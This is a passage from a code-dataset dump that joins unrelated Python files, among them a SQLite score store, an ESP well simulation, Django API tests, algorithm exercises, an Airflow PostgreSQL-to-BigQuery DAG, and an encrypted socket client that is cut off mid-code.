\"{m:>02}:{s:>02}\".format(m=sc // 60, s=sc % 60)\n\n\nclass DataBase():\n \"\"\"Obsługa bazy danych\"\"\"\n\n @classmethod\n def create_card_game_table(self, table):\n \"\"\"Wstawienie tabeli do bazy, o ile jeszcze jej nie było\"\"\"\n\n try:\n # Nawiązanie połączenia\n conn = sqlite3.connect(DB_FILE)\n\n c = conn.cursor()\n c.execute(CARDS_EXERCISE_TABLE_SQL.format(table_name=table))\n\n conn.commit()\n conn.close()\n\n except Exception as e:\n Logger.debug(e.message)\n\n @classmethod\n def insert_score(self, table, level, score):\n \"\"\"\n Umieszczenie wyniku w bazie\n\n Parametry:\n @table - nazwa tabeli do której nastąpi wstawianie wyniku\n @level - numer poziomu na którym odbyła się gra (1, 2 lub 3)\n @score - wynik uzyskany z gry\n \"\"\"\n\n try:\n # Nawiązanie połączenia\n conn = sqlite3.connect(DB_FILE)\n\n now = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n c = conn.cursor()\n c.execute(INSERT_SCORE_OF_CARDS_GAME_SQL.format(table=table, date=now, level=level, score=score))\n\n conn.commit()\n conn.close()\n\n except Exception as e:\n Logger.debug(e.message)\n\n @classmethod\n def get_best_score(self, table, lvl):\n \"\"\"Pobranie z bazy najlepszych wyników dla każdego lewelu\"\"\"\n\n # Nawiązanie połączenia\n conn = sqlite3.connect(DB_FILE)\n\n c = conn.cursor()\n\n # Pobranie rezultatu z bazy\n b = c.execute(GET_BEST_SQL.format(t=table, l=lvl)).fetchone()\n\n conn.close()\n\n # Zwrocenie wyników\n return ResultEntry(b[0], b[1])\n\n @classmethod\n def get_recent_scores(self, table, lvl, count):\n \"\"\"\n Pobranie kilku ostatnich wynikow gry na zadanym poziomie\n\n Parametry\n @table - tabela z danymi z danej gry\n @lvl - poziom trudnosci gry\n @count - liczba ostatnich wpisow\n \"\"\"\n\n # Nawiązanie połączenia\n conn = sqlite3.connect(DB_FILE)\n\n c = conn.cursor()\n\n # Odpytanie bazy\n r = c.execute(GET_RECENT_SQL.format(t=table, l=lvl, c=count)).fetchall()\n\n conn.close()\n\n # Zwrocenie wynikow, rozdmuchanych jeśli trzeba do odpowiedniej długości\n return [ResultEntry(r[0], r[1]) for r in r] + [ResultEntry(None, None) for i in range(count - len(r))]\n\n","repo_name":"phiotr/DysDroid","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4112,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"72373094664","text":"from math import sqrt\nfrom casadi import *\n\n### Declearation of constants ###\n# Well\ng = 9.81 #Gravitational acceleration constant [m/s2]\nC_c =2*pow(10,-5) #Choke valve constant [*]\nA_1 = 0.008107 #Cross-section area of pipe below ESP [m2]\nA_2 = 0.008107 #Cross-section area of pipe above ESP [m2]\nD_1 = 0.1016 #Pipe diameter below ESP [m]\nD_2 = 0.1016 #Pipe diameter above ESP [m]\nh_1 = 200 #Height from reservoir to ESP [m]\nh_w = 1000 #Total vertical distance in well [m]\nL_1 = 500 #Length from reservoir to ESP [m]\nL_2 = 1200 #Length from ESP to choke [m]\nV_1 = 4.054 #Pipe volume below ESP [m3]\nV_2 = 9.729 #Pipe volume above ESP [m3]\n\n# ESP data\nf_0 = 60 #ESP characteristics reference freq. [Hz]\nI_np = 65 #ESP motor nameplate current [A]\nP_np = 1.625*pow(10, 5) #ESP motor nameplate power [W]\n\n# Parameters from fluid analysis and well tests\nbeta_1 = 1.5*pow(10,9) #Bulk modulus below ESP [Pa]\nbeta_2 = 1.5*pow(10,9) #Bulk modulus below ESP [Pa]\nM = 1.992*pow(10,8) #Fluid inertia parameter [kg/m4]\nrho = 950 #Density of produced fluid [kg/m3]\nP_r = 1.26*pow(10, 7) #Reservoir pressure [Pa]\n\n# Parameters assumed to be constant\nPI = 2.32*pow(10,-9) #Well productivity index [m3/s/Pa]\nmu = 0.025 #Viscosity of produced fluid [Pa*s]\nP_m = 20 #Manifold pressure [Pa]\n\n# Inputs\nz = 100 #%\nf = 53 #Hz\n\ndae = DaeBuilder()\n# Input expressions\np_bh = dae.add_x('p_bh')\np_wh = dae.add_x('p_wh')\nq = dae.add_x('q')\n\nq_r = dae.add_z('q_r')\nq_c = dae.add_z('q_c')\nDp_f = dae.add_z('Dp_f')\nDp_p = dae.add_z('Dp_p')\n\n#Output expressions\np_bh_dot = beta_1/V_1*(q_r-q)\np_wh_dot = beta_2/V_2*(q-q_c)\nq_dot = 1/M*(p_bh-p_wh-rho*g*h_w-Dp_f+Dp_p)\ndae.add_ode('p_bh_dot', p_bh_dot)\ndae.add_ode('p_wh_dot', p_wh_dot)\ndae.add_ode('q_dot', q_dot)\n\nF_1 = 0.158*((rho*L_1*pow(q,2))/(D_1*pow(A_1,2)))*pow(mu/(rho*D_1*q),1/4)\nF_2 = 0.158*((rho*L_2*pow(q,2))/(D_2*pow(A_2,2)))*pow(mu/(rho*D_2*q),1/4)\n\nC_H = 1-0.03*mu\nC_q = 1 - 2.6266*mu + 6.0032*pow(mu,2) - 6.8104*pow(mu,3) + 2.7944*pow(mu,4)\nq_0 = q/C_q*(f_0/f)\nH_0 = 9.5670*pow(10,2) + 7.4959*pow(10,3)*q_0 - 1.2454*pow(10,6)*pow(q_0, 2)\nH = C_H*H_0*pow(f_0/f,2)\n\ndae.add_alg('q_r', PI*(P_r-p_bh))\ndae.add_alg('q_c', C_c*sqrt(p_wh-P_m)*z)\ndae.add_alg('Dpf_n', F_1 + F_2) \ndae.add_alg('Dpp_n', rho*g*H)\n\n#Initial conditions\ndae.set_start('p_bh', 70)\ndae.set_start('p_wh', 30)\ndae.set_start('q', 36)\n\node = vertcat(*dae.ode)\nalg = vertcat(*dae.alg)\nx = vertcat(*dae.x)\nz = vertcat(*dae.z)\n\ndae_dict = {'x': x, \n 'z': z, \n 'ode': ode, \n 'alg': alg}\n\n#I = integrator('I', 'idas', dae)\ndt = 10e-3\nopts = {\"tf\": dt}\nI = integrator(\"I\", \"cvodes\", dae_dict, opts)\nprint(I)\n\n#print(ode)\n#dae.disp(True)\n\n#f = dae.create('f', ['x', 'z'], ['ode', 'alg'])\n#print(f)\n","repo_name":"auroraslb/Prosjektoppgave","sub_path":"ESP_simulation-copy.py","file_name":"ESP_simulation-copy.py","file_ext":"py","file_size_in_byte":3226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23515293628","text":"from django.conf import settings\nfrom django.urls import reverse\n\nimport pytest\n\nfrom . import factories\n\npytestmark = pytest.mark.django_db\nPAGE_SIZE = settings.REST_FRAMEWORK.get('PAGE_SIZE')\n\n\ndef test_articles_endpoint_available(client):\n factories.ArticleFactory.create_batch(PAGE_SIZE + 1)\n url = reverse('articles-list')\n response = client.get(url)\n response_data = response.json()\n\n assert response.status_code == 200\n assert 'count' in response_data\n assert 'next' in response_data\n assert 'previous' in response_data\n assert 'results' in response_data\n assert type(response_data['results']) == list\n assert response_data['count'] == PAGE_SIZE + 1\n assert len(response_data['results']) == PAGE_SIZE\n\n\ndef test_articles_detail_endpoint_avilable(client):\n article = factories.ArticleFactory.create()\n url = reverse('articles-detail', kwargs={'pk': article.id})\n expected = {\n 'id': article.id,\n 'title': article.title,\n 'author_info': article.author_info,\n 'article_url': article.article_url,\n 'content': article.content,\n 'image': article.image,\n }\n response = client.get(url)\n\n assert response.status_code == 200\n assert expected == response.json()\n\n\ndef test_article_endpoint_readonly(mentor_client):\n article = factories.ArticleFactory.create()\n url_list = reverse('articles-list')\n url_detail = reverse('articles-detail', kwargs={'pk': article.id})\n\n response = mentor_client.post(url_list, data={})\n assert response.status_code == 405\n\n response = mentor_client.patch(url_detail, data={})\n assert response.status_code == 405\n\n response = mentor_client.delete(url_detail)\n assert response.status_code == 405\n","repo_name":"dangerousmonk/bigBrothers-bigSisters-backend","sub_path":"tests/test_articles.py","file_name":"test_articles.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32125071546","text":"# Function takes a list and returns a new list without the duplicates\r\nfrom random import sample\r\n\r\ndef remove_duplicates(in_list):\r\n return set(in_list)\r\n\r\ndef cicle_duplicates(in_list):\r\n b = []\r\n for val in in_list:\r\n if val not in b:\r\n b.append(val)\r\n return b\r\n\r\na = [1,1,2,3,4,5,5,6,7,8,8]\r\nb = remove_duplicates(a)\r\nprint(b), print(len(b))\r\n\r\nc = cicle_duplicates(a)\r\nprint(c), print(len(c))","repo_name":"thomasid/PythonTraining","sub_path":"Assignment_14.py","file_name":"Assignment_14.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15959037804","text":"import numpy\n\nimport benchmark\nfrom enum_mappings.levelset import LevelSet\n\n\nclass EmptyLevel(Exception):\n pass\n\n\nclass Jump:\n '''\n Generic Jump function inside a product DAG.\n\n The DAG will be built layer by layer by specifying the adjacency matrix\n from one level to the next one, an adjancency matrix can specify the\n structure inside of a level, made of 'assignation edges'. The goal of the\n structure is to be able to be able to navigate quickly from the last to the\n first layer by being able to skip any path that do not contain any\n assignation edges.\n '''\n def __init__(self, initial_level, nonjump_adj):\n # Layers in the levelset will be built one by one\n self.levelset = LevelSet()\n self.last_level = 0\n\n # Closest level where an assignation is done accessible from any node\n self.jl = dict()\n # Set of levels accessible from any level using jl, and reverse of this\n # dictionnary\n self.rlevel = {0: set()}\n self.rev_rlevel = {0: set()}\n # For any pair of level (i, j) such that i in rlevel[j], reach[i, j] is\n # the accessibility of vertices from level i to level j\n self.reach = dict()\n\n # Set of vertices that can't be jumped since it has an ingoing\n # non-jumpable edge (TODO: it may only be required to store it for the\n # last level)\n self.nonjump_vertices = set()\n # Keep track of number of jumps to a given vertex\n self.count_ingoing_jumps = dict()\n\n # Register initial level\n for state in initial_level:\n self.levelset.register(state, self.last_level)\n self.jl[state, self.last_level] = 0\n\n self.extend_level(0, nonjump_adj)\n self.count_ingoing_jumps[0] = numpy.zeros(\n len(self.levelset.vertices[0]), dtype=int)\n\n @benchmark.track\n def next_level(self, jump_adj, nonjump_adj):\n '''\n Compute next level given the adjacency list of jumpable edges from\n current level to the next one and adjacency list of non-jumpable edges\n inside the next level.\n '''\n last_level = self.last_level\n next_level = self.last_level + 1\n\n\n # Register jumpable transitions from this level to next one\n for source in self.levelset.vertices[last_level]:\n for target in jump_adj[source]:\n if (target, next_level) not in self.jl:\n self.levelset.register(target, next_level)\n self.jl[target, next_level] = 0\n\n if (source, last_level) in self.nonjump_vertices:\n self.jl[target, next_level] = last_level\n else:\n self.jl[target, next_level] = max(self.jl[target, next_level],\n self.jl[source, last_level])\n\n if next_level not in self.levelset.vertices:\n raise EmptyLevel\n\n # TODO: isn't there a better way of organizing this?\n self.extend_level(next_level, nonjump_adj)\n self.compute_reach(next_level, jump_adj)\n self.last_level = next_level\n\n @benchmark.track\n def extend_level(self, level, nonjump_adj):\n '''\n Extend current level by reading non-jumpable edges inside the given\n level.\n '''\n # Register non-jumpable transitions inside next level\n for source in self.levelset.vertices[level]:\n for target in nonjump_adj[source]:\n if (target, level) not in self.jl:\n self.levelset.register(target, level)\n\n self.nonjump_vertices.add((target, level))\n\n @benchmark.track\n def compute_reach(self, level, jump_adj):\n '''\n Compute reach and rlevel, that is the effective jump points to all\n levels reachable from the current level.\n '''\n # Update rlevel\n self.rlevel[level] = {self.jl[vertex, level]\n for vertex in self.levelset.vertices[level]\n if (vertex, level) in self.jl}\n self.rev_rlevel[level] = set()\n\n for sublevel in self.rlevel[level]:\n self.rev_rlevel[sublevel].add(level)\n\n # Update reach\n prev_level = level - 1\n\n shape = (len(self.levelset.vertices[prev_level]),\n len(self.levelset.vertices[level]))\n self.reach[prev_level, level] = numpy.zeros(shape, dtype=bool)\n\n for source in self.levelset.vertices[prev_level]:\n for target in jump_adj[source]:\n id_source = self.levelset.vertex_index[prev_level][source]\n id_target = self.levelset.vertex_index[level][target]\n self.reach[prev_level, level][id_source, id_target] = True\n\n for sublevel in self.rlevel[level]:\n if sublevel >= prev_level:\n continue\n\n self.reach[sublevel, level] = numpy.dot(\n self.reach[sublevel, prev_level],\n self.reach[prev_level, level])\n\n if prev_level not in self.rlevel[level]:\n del self.reach[prev_level, level]\n\n # Update jump counters\n self.count_ingoing_jumps[level] = numpy.zeros(\n len(self.levelset.vertices[level]), dtype=int)\n\n for sublevel in self.rlevel[level]:\n self.count_ingoing_jumps[sublevel] += (\n self.count_inbetween_jumps(None, level, sublevel))\n\n @benchmark.track\n def count_inbetween_jumps(self, vertices, level, sublevel):\n '''\n Count the number of jump pointers from a given set of vertices in a\n level to nodes of its sublevel. The vertices given as input shall be\n represented by their index in `self.levelset.vertices[level]`.\n '''\n if vertices is None:\n return numpy.sum(self.reach[sublevel, level], axis=1)\n\n return numpy.sum(self.reach[sublevel, level][:, vertices], axis=1)\n\n @benchmark.track\n def clean_level(self, level, adj):\n '''\n Remove all useless nodes inside current level. A useless node is a node\n from which there is no path of assignation to a node which can be\n jumped to.\n '''\n if level not in self.levelset.vertices:\n return False\n\n if level == 0:\n return False # TODO: fix the reach[0, 0] exception\n\n # Run over the level and eliminate all path that are not usefull ie.\n # paths that don't access to a jumpable vertex\n with benchmark.track_block('clean: select vertices'):\n seen = set()\n lvl_vertices = set(self.levelset.vertices[level])\n del_vertices = set(self.levelset.vertices[level])\n\n for start in self.levelset.vertices[level]:\n if start in seen:\n continue\n\n heap = [(start, [start])]\n\n while heap:\n source, path = heap.pop()\n source_id = self.levelset.vertex_index[level][source]\n seen.add(source)\n\n # If the path can be identified as usefull, remove it from the\n # set of vertices to delete\n usefull_path = (\n self.count_ingoing_jumps[level][source_id] > 0\n or any(vertex not in del_vertices\n for vertex in adj[source] if vertex in lvl_vertices))\n\n if usefull_path:\n for vertex in path:\n if vertex in del_vertices:\n del_vertices.remove(vertex)\n\n path = []\n\n for target in adj[source]:\n if target in lvl_vertices and target not in seen:\n assert target in del_vertices\n target_path = path.copy()\n target_path.append(target)\n heap.append((target, target_path))\n\n if not del_vertices:\n return False\n\n removed_columns = [self.levelset.vertex_index[level][x]\n for x in del_vertices]\n\n # Apply deletion\n with benchmark.track_block('clean: apply'):\n self.levelset.remove_from_level(level, del_vertices)\n\n for vertex in del_vertices:\n if (vertex, level) in self.jl:\n del self.jl[vertex, level]\n\n if level not in self.levelset.vertices:\n for sublevel in self.rlevel[level]:\n self.count_ingoing_jumps[sublevel] -= (\n self.count_inbetween_jumps(None, level, sublevel))\n del self.reach[sublevel, level]\n\n for uplevel in self.rev_rlevel[level]:\n del self.reach[level, uplevel]\n self.rlevel[uplevel].remove(level)\n\n for sublevel in self.rlevel[level]:\n self.rev_rlevel[sublevel].remove(level)\n\n del self.rlevel[level]\n del self.rev_rlevel[level]\n del self.count_ingoing_jumps[level]\n else:\n # Update rlevel\n new_rlevel = {self.jl[vertex, level]\n for vertex in self.levelset.vertices[level]\n if (vertex, level) in self.jl}\n\n # Update jump counters to sublevels, if a sublevel is removed\n # from rlevel, then we need to remove jump pointers from any\n # vertex of the level, overwise only from removed vertices.\n for sublevel in self.rlevel[level] - new_rlevel:\n self.count_ingoing_jumps[sublevel] -= (\n self.count_inbetween_jumps(None, level, sublevel))\n\n for sublevel in new_rlevel:\n self.count_ingoing_jumps[sublevel] -= (\n self.count_inbetween_jumps(removed_columns, level,\n sublevel))\n\n # Remove deprecated links in reach and rlevel\n for sublevel in self.rlevel[level] - new_rlevel:\n self.rev_rlevel[sublevel].remove(level)\n del self.reach[sublevel, level]\n\n self.rlevel[level] = new_rlevel\n\n # Update reach\n self.count_ingoing_jumps[level] = numpy.delete(\n self.count_ingoing_jumps[level], removed_columns)\n\n for uplevel in self.rev_rlevel[level]:\n self.reach[level, uplevel] = numpy.delete(\n self.reach[level, uplevel], removed_columns, axis=0)\n\n for sublevel in self.rlevel[level]:\n self.reach[sublevel, level] = numpy.delete(\n self.reach[sublevel, level], removed_columns, axis=1)\n\n return True\n\n def __call__(self, level, gamma):\n '''\n Jump to the next relevel level from vertices in gamma at a given level.\n A relevent level has a node from which there is a path to gamma and\n that has an ingoing assignation.\n '''\n i = level\n j = max((self.jl[vertex, level]\n for vertex in gamma\n if (vertex, level) in self.jl), default=None)\n\n if j is None:\n return j, []\n\n if i == j:\n assert i == 0\n return j, []\n\n gamma2 = []\n\n for l, target in enumerate(self.levelset.vertices[j]):\n for source in gamma:\n if (source, level) in self.jl:\n k = self.levelset.vertex_index[level][source]\n\n if self.reach[j, i][l, k]:\n gamma2.append(target)\n break\n\n return j, gamma2\n","repo_name":"remi-dupre/enum-spanner","sub_path":"src/enum_mappings/jump.py","file_name":"jump.py","file_ext":"py","file_size_in_byte":11895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"75000447623","text":"import tensorflow as tf\nimport numpy as np\n\nif __name__ == '__main__':\n x_train = np.array([[a, b, c] for a in range(2) for b in range(2) for c in range(2)], 'float32')\n y_train = np.array([[sum(arr) % 2] for arr in x_train])\n\n print(x_train)\n print(y_train)\n\n model = tf.keras.Sequential()\n model.add(tf.keras.layers.Input(3))\n model.add(tf.keras.layers.Dense(10, activation='relu'))\n model.add(tf.keras.layers.Dense(1, activation='sigmoid'))\n\n model.compile(loss='mean_squared_error',\n optimizer=tf.keras.optimizers.Adam(learning_rate=0.05),\n metrics=['accuracy'])\n\n model.fit(x_train, y_train, epochs=50)\n scores = model.evaluate(x_train, y_train, verbose=False)\n print('\\n%s: %.2f%%' % (model.metrics_names[1], scores[1]*100))\n\n print(model.predict(x_train).round())\n","repo_name":"CherpakAndrii/NeuralNetworksLabs","sub_path":"Lab1/parceptron.py","file_name":"parceptron.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28099922328","text":"from typing import List\n\nfrom test_framework import generic_test\n\n\ndef palindrome_decompositions(text: str) -> List[List[str]]:\n \"\"\"\n pal(i) = \n result = []\n for k in range(i+1, len(text)+1):\n if text[i:k] is palindrome:\n results.extend([text[i:k]] + all pal(k))\n else:\n # i:k not palindrome\n \n \"\"\"\n def is_palindromic(i, j):\n while i < j:\n if text[i] != text[j]:\n return False\n i += 1\n j -= 1\n return True\n\n def pal(i, prefix):\n if i == len(text):\n result.append([chunk[:] for chunk in prefix])\n else:\n for k in range(i+1, len(text)+1):\n if is_palindromic(i, k-1):\n prefix.append(text[i:k])\n pal(k, prefix)\n prefix.pop()\n result = []\n pal(0, [])\n return result\n\n\ndef comp(a, b):\n return sorted(a) == sorted(b)\n\n\nif __name__ == '__main__':\n exit(\n generic_test.generic_test_main(\n 'enumerate_palindromic_decompositions.py',\n 'enumerate_palindromic_decompositions.tsv',\n palindrome_decompositions, comp))\n","repo_name":"adityagoel4512/EPIJudge","sub_path":"epi_judge_python/enumerate_palindromic_decompositions.py","file_name":"enumerate_palindromic_decompositions.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"18751876423","text":"import RPi.GPIO as GPIO\nfrom time import sleep\naaaa\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(17,GPIO.IN,pull_up_down=GPIO.PUD_UP)\nGPIO.setup(3,GPIO.OUT)\nGPIO.output(3,False)\n\nwhile True:\n GPIO.wait_for_edge(17,GPIO.FALLING)\n sw_counter = 0\n while True:\n sw_status = GPIO.input(17)\n if sw_status == 0:\n sw_counter = sw_counter + 1\n if sw_counter >= 30:\n GPIO.output(3,True)\n break\n GPIO.output(3,False)\n else:\n break\ntime.sleep (0.01)\nGPIO.cleanup()\n \n","repo_name":"kenta2021PBL/PBL","sub_path":"LED.py","file_name":"LED.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74185186826","text":"from airflow import DAG\nfrom datetime import datetime\nfrom global_modules.operators import Extract_PostgreSQL_To_BigQuery\nfrom global_modules.functions import getLocalConfig\nfrom airflow.providers.google.cloud.operators.bigquery import (BigQueryInsertJobOperator,\n BigQueryExecuteQueryOperator,\n BigQueryCreateEmptyTableOperator)\nfrom airflow.operators.empty import EmptyOperator\nimport json\n\nDAG_ID = 'EXTRACT_POSTGRESQL'\n\nyaml_data = getLocalConfig(DAG_ID)\nparams_connection = yaml_data['params']['connection']\ninfo_tables = yaml_data['params']['info_tables']\n\n\n# INFORMATION PROJECT GCP\nproject_id = info_tables['project_id']\nlocation = info_tables['location']\ncredential = info_tables['credencial']\ndataset_rz = info_tables['dataset_rz']\ndataset_sz = info_tables['dataset_sz']\ntable_id = info_tables['table_id']\ntruncate_table_rz = f\"TRUNCATE TABLE {project_id}.{dataset_rz}.{table_id}\"\ntruncate_table_sz = f\"TRUNCATE TABLE {project_id}.{dataset_sz}.{table_id}\"\n\ntable_name = f\"{dataset_rz}.{table_id}\"\n\nparams_query = yaml_data['bq_comands'][f\"insert_sez_{table_id}\"]['params_query']\n\n# INFORMATION CONNECTION AND EXTRACTION DATA POSTGRESQL\ndatabase = params_connection['database']\nuser = params_connection['user']\npassword = params_connection['password']\nhost = params_connection['host']\nport = params_connection['port']\nquery_table = params_connection['query']\n\n# INFORMATION TO DATAFRAME\nlistColumns = params_connection['list_columns']\ngranularity = params_connection['granularity']\nnr_rows = params_connection['nr_rows']\ncolumn_movto = params_connection['column_movto']\n\nTEMPLATE_SEARCH_PATH = f\"{yaml_data['params']['template_search']['search_path']}/{DAG_ID}\"\nTEMPLATE_SEARCH_PATH_GLOBAL = yaml_data['params']['template_search']['search_path_global']\n\nwith open(f'{TEMPLATE_SEARCH_PATH}/schema_sz/{table_id}.json') as f_sz:\n schema_sz = json.load(f_sz)\n \nwith open(f'{TEMPLATE_SEARCH_PATH}/schema_rz/{table_id}.json') as f_rz:\n schema_rz = json.load(f_rz)\n\ndefault_args = {\n 'owner': 'Ednaldo',\n 'start_date': datetime(2023, 7, 31),\n 'depends_on_past': False\n}\n\n\nwith DAG(\n DAG_ID,\n description='Read data PostgreSQL',\n schedule_interval=None,\n default_args=default_args,\n catchup=False,\n template_searchpath=[TEMPLATE_SEARCH_PATH, TEMPLATE_SEARCH_PATH_GLOBAL]\n) as dag:\n \n begin = EmptyOperator(\n task_id=f'begin_{table_id}'\n )\n\n create_structure_rz = BigQueryCreateEmptyTableOperator(\n task_id=f'create_structure_rz_{table_id}',\n project_id=project_id,\n dataset_id=dataset_rz,\n table_id=table_id,\n schema_fields=schema_rz,\n gcp_conn_id='google_cloud_default',\n exists_ok=True\n )\n \n truncate_rz_table = BigQueryInsertJobOperator(\n task_id=f\"truncate_rz_{table_id}\",\n configuration={\n \"query\": {\n \"query\": truncate_table_rz,\n \"useLegacySql\": False,\n }\n },\n project_id=project_id,\n location=location,\n gcp_conn_id='google_cloud_default',\n )\n \n extract = Extract_PostgreSQL_To_BigQuery(\n task_id=f'extract_data_{table_id}',\n db=database,\n user=user,\n password=password,\n host=host,\n port=port,\n listColumns=listColumns,\n queryTable=query_table,\n granularity=granularity,\n nr_rows=nr_rows,\n column_movto=column_movto,\n credential=credential,\n table_id=table_name,\n project_id=project_id\n \n )\n\n create_structure_sz = BigQueryCreateEmptyTableOperator(\n task_id=f'create_structure_sz_{table_id}',\n project_id=project_id,\n dataset_id=dataset_sz,\n table_id=table_id,\n schema_fields=schema_sz,\n gcp_conn_id='google_cloud_default',\n exists_ok=True\n )\n\n truncate_sz_table = BigQueryInsertJobOperator(\n task_id=f\"truncate_sz_{table_id}\",\n configuration={\n \"query\": {\n \"query\": truncate_table_sz,\n \"useLegacySql\": False,\n }\n },\n project_id=project_id,\n location=location,\n gcp_conn_id='google_cloud_default'\n )\n\n execute_sql = BigQueryInsertJobOperator(\n task_id=f\"insert_sz_{table_id}\",\n params={'target': f\"{project_id}.{dataset_sz}.{table_id}\",\n 'source': f\"{project_id}.{dataset_rz}.{table_id}\"},\n configuration={\n \"query\": {\n \"query\": params_query,\n \"useLegacySql\": False,\n }\n },\n project_id=project_id,\n location=location,\n gcp_conn_id='google_cloud_default'\n )\n\n end = EmptyOperator(\n task_id=f'end_{table_id}'\n )\n\n begin >> create_structure_rz >> truncate_rz_table >> [extract, create_structure_sz] >> truncate_sz_table >> execute_sql >> end","repo_name":"Edneves/Airflow_Extract_PostgreSQL_To_BigQuery_loading_RZ_and_SZ","sub_path":"EXTRACT_POSTGRESQL.py","file_name":"EXTRACT_POSTGRESQL.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"15214308707","text":"import tensorflow as tf\n\nfrom src.estimation.preprocessing import extract_bboxes\nfrom src.estimation.preprocessing_com import ComPreprocessor, crop_to_bounding_box\nfrom src.utils.camera import Camera\n\n\nclass CropType:\n JOINTS_MEAN = 0\n CENTER_OF_MASS = 1\n RANDOM = 2\n\n\ndef get_crop_type(use_center_of_joints: bool, generate_random_crop_prob: float) -> int:\n should_generate_random_val = tf.random.uniform(shape=[1], minval=0, maxval=1)\n if should_generate_random_val < generate_random_crop_prob:\n return CropType.RANDOM\n\n if use_center_of_joints:\n return CropType.JOINTS_MEAN\n else:\n return CropType.CENTER_OF_MASS\n\n\ndef get_crop_center_point(crop_type: int, image, keypoints_uv, keypoints_xyz, camera: Camera):\n com_preprocessor = ComPreprocessor(camera, thresholding=False)\n\n if crop_type == CropType.CENTER_OF_MASS:\n bbox_raw = extract_bboxes(keypoints_uv[tf.newaxis, ...])[0]\n cropped_image = crop_to_bounding_box(image, bbox_raw)\n center_point_uvz = com_preprocessor.compute_coms(cropped_image[tf.newaxis, ...],\n offsets=bbox_raw[tf.newaxis, ..., :2])[0]\n elif crop_type == CropType.JOINTS_MEAN:\n com_xyz = tf.reduce_mean(keypoints_xyz, axis=-2)\n center_point_uvz = camera.world_to_pixel_1d(com_xyz)\n else: # Random crop\n random_box_center_uv = get_random_box_center(image)\n z = image[random_box_center_uv[0], random_box_center_uv[1]]\n random_box_center_uv = tf.cast(random_box_center_uv, tf.float32)\n center_point_uvz = tf.concat([random_box_center_uv, z], axis=-1)\n\n return center_point_uvz\n\n\ndef get_random_box_center(image):\n indices = tf.where(tf.squeeze(image) != 0)\n indices = tf.cast(indices, tf.int32)\n last_item_index = tf.shape(indices)[0] - 1\n sample_index = tf.random.uniform(shape=[1], minval=0, maxval=last_item_index, dtype=tf.int32)\n return indices[sample_index[0]]\n","repo_name":"LadaOndris/hands","sub_path":"src/estimation/blazepose/data/crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7973525329","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nclass Solution(object): #解法一:使用列表\n def len_longestsub(self,s):\n maxlength=0\n usedlist=[]\n for i in s:\n if i in usedlist: #判断该字符串是否已经出现过\n usedlist = usedlist[usedlist.index(i)+1:] #采用分片构建新字符串\n usedlist.append(i)\n maxlength = max(len(usedlist),maxlength) #计算最大长度\n return maxlength\n\nclass Solution(object): #解法二:使用字典\n def len_longestsub(self,s):\n start = maxlength = 0\n usedChar = {}\n for i in range(len(s)):\n if s[i] in usedChar and start <= usedChar[s[i]]: #根据字典键对应值会覆盖前面值的特点\n start = usedChar[s[i]] + 1\n else:\n maxlength = max(maxlength,i-start+1)\n usedChar[s[i]] = i\n return maxlength\n","repo_name":"littleboy12580/learning_python","sub_path":"leetcode/Longest_Sub.py","file_name":"Longest_Sub.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"14485810884","text":"\"\"\"\r\nMain\r\n\"\"\"\r\n\r\nimport math\r\nimport socket\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport scipy.fftpack as spfft\r\nimport scipy.misc\r\nfrom Crypto import Random\r\nfrom Crypto.Cipher import AES, ARC4\r\nfrom Crypto.Hash import SHA\r\nfrom Crypto.Util import Counter, number\r\n\r\nimport _thread\r\n\r\n\r\nclass Client(object):\r\n def __init__(self, cipher_mode='AES',IP=\"127.0.0.1\",PORT=\"9999\"):\r\n self.data = []\r\n self.cipher_mode = cipher_mode\r\n self.IP = IP\r\n self.PORT = PORT\r\n\r\n def handler(self, _):\r\n nonce_counter = 1001\r\n while True:\r\n if nonce_counter > 1000:\r\n if self.cipher_mode == 'AES':\r\n cipher, nonce = self.__cipher_AES()\r\n elif self.cipher_mode == 'RC4':\r\n cipher, nonce = self.__cipher_RC4()\r\n else:\r\n print('Bad cipher mode')\r\n break\r\n response = self.send(b'nonce:' + nonce)\r\n response = str(response, 'utf-8')\r\n if response == \"timeout\":\r\n print('timeout!')\r\n elif response == \"ACK\":\r\n nonce_counter = 0\r\n else:\r\n print('bad data')\r\n\r\n if len(self.data) > 0:\r\n data = self.data[0]\r\n response = self.send(b'data:' + cipher.encrypt(data))\r\n if response == \"timeout\":\r\n print('timeout!')\r\n elif response == b\"ACK\":\r\n self.data.pop(0)\r\n nonce_counter += 1\r\n elif response == b\"ACK/RST\":\r\n print('All data sended')\r\n break\r\n else:\r\n print('bad data')\r\n\r\n def sender(self):\r\n _thread.start_new_thread(self.handler, (self, ))\r\n\r\n def buffer(self, data):\r\n \"\"\"Append data for send\"\"\"\r\n self.data.append(data)\r\n\r\n def send(self,data):\r\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n sock.connect((self.IP, 